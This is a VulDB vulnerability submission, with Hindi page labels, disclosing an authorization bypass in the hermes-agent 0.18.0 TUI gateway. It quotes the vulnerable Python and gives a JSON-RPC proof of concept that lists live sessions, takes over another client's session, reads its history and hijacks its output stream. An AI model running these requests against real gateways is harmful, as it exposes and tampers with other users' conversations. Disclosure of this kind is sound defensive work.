| शीर्षक | NousResearch hermes-agent 0.18.0 Authorization Bypass Through User-Controlled Key |
|---|
| विवरण | ## Summary
The TUI gateway allows any connected client to attach to and drive another live session by supplying its `session_id`. `session.active_list` exposes live session IDs, while `session.activate` and `prompt.submit` resolve those IDs without verifying transport ownership or caller identity. This enables cross-session history disclosure, message injection, and response-stream hijacking between clients connected to the same gateway process.
## Details
The vulnerable authorization boundary is in `tui_gateway/server.py`.
`_sess_nowait()` resolves a session only by caller-supplied `session_id`:
```python
def _sess_nowait(params, rid):
s = _sessions.get(params.get("session_id") or "")
return (s, None) if s else (None, _err(rid, 4001, "session not found"))
```
Source: `tui_gateway/server.py:1383`
`session.active_list` returns all live in-memory sessions in the gateway process, including their live IDs and previews.
Source: `tui_gateway/server.py:5871`
`session.activate` accepts an arbitrary `session_id`, calls `_sess_nowait()`, then returns the live session payload. `_live_session_payload()` also rebinds `session["transport"]` when a transport is provided:
```python
if transport is not None:
session["transport"] = transport
```
Sources:
- `tui_gateway/server.py:5909`
- `tui_gateway/server.py:5847`
`prompt.submit` has the same issue: it resolves the supplied `session_id` and immediately rebinds the target session transport to the current caller:
```python
session, err = _sess_nowait(params, rid)
...
if (t := current_transport()) is not None:
session["transport"] = t
```
Source: `tui_gateway/server.py:8208`
Event delivery is routed through the session's stored transport:
```python
if obj.get("method") == "event":
sid = ((obj.get("params") or {}).get("session_id")) or ""
if sid and (t := (_sessions.get(sid) or {}).get("transport")) is not None:
return t.write(obj)
```
Source: `tui_gateway/server.py:1028`
After rebinding, `message.delta` and related stream events are sent to the attacker's connection. The stream callback in `_run_prompt_submit()` emits those events using the victim session ID:
```python
def _stream(delta):
with session["history_lock"]:
_append_inflight_delta(session, delta)
payload = {"text": delta}
if streamer and (r := streamer.feed(delta)) is not None:
payload["rendered"] = r
_emit("message.delta", sid, payload)
```
Source: `tui_gateway/server.py:8675`
## PoC
Test setup: use two JSON-RPC clients connected to the same TUI gateway process.
1. Client A creates or owns a normal live session.
```json
{
"jsonrpc": "2.0",
"id": "a1",
"method": "session.create",
"params": {}
}
```
Assume the returned session is `victim_sid`.
2. Client B connects to the same gateway process and lists active sessions.
```json
{
"jsonrpc": "2.0",
"id": "b1",
"method": "session.active_list",
"params": {}
}
```
The response includes live session IDs, including Client A's `victim_sid`.
3. Client B activates Client A's session.
```json
{
"jsonrpc": "2.0",
"id": "b2",
"method": "session.activate",
"params": {
"session_id": "victim_sid"
}
}
```
Expected result: Client B receives the victim session payload, including message history or inflight state, and the session transport is rebound to Client B.
4. Client B submits a prompt into Client A's session.
```json
{
"jsonrpc": "2.0",
"id": "b3",
"method": "prompt.submit",
"params": {
"session_id": "victim_sid",
"text": "test message from second client"
}
}
```
Expected result: the turn executes against Client A's live conversation state, while streamed events are delivered to Client B's transport.
## Impact
This is an access-control vulnerability in the TUI gateway session model.
An attacker who can connect to the same gateway process can:
- read another live session's history and inflight output via `session.activate`;
- inject messages into another user/client's live conversation via `prompt.submit`;
- hijack the session's event transport so future streamed output is delivered to the attacker's connection;
- disrupt the original client's view of the session.
The issue is most severe when the gateway is shared by multiple clients or exposed beyond a single trusted local user. In default local-only deployments, the impact is bounded by OS-level access to the local IPC or loopback surface, but the code still violates the project's stated rule that session IDs are routing handles rather than authorization tokens.
|
|---|
| उपयोगकर्ता | KendrickZou (UID 93081) |
|---|
| सबमिशन | 10/07/2026 09:50 AM (2 महीनों पहले) |
|---|
| संयम | 03/09/2026 08:47 AM (2 months later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 398312 [NousResearch hermes-agent 0.18.0 Session Management s71.py _sess_nowait session_id अधिकार वृद्धि] |
|---|
| अंक | 17 |
|---|